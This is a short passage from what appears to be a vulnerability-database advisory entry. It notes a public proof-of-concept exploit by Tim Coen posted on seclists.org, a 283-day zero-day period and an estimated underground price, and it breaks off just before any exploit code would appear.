No form of authentication is needed for a successful exploitation. It demands that the victim is doing some kind of user interaction. Technical details are unknown but a public exploit is available.

A public exploit has been developed by Tim Coen and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 283 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:
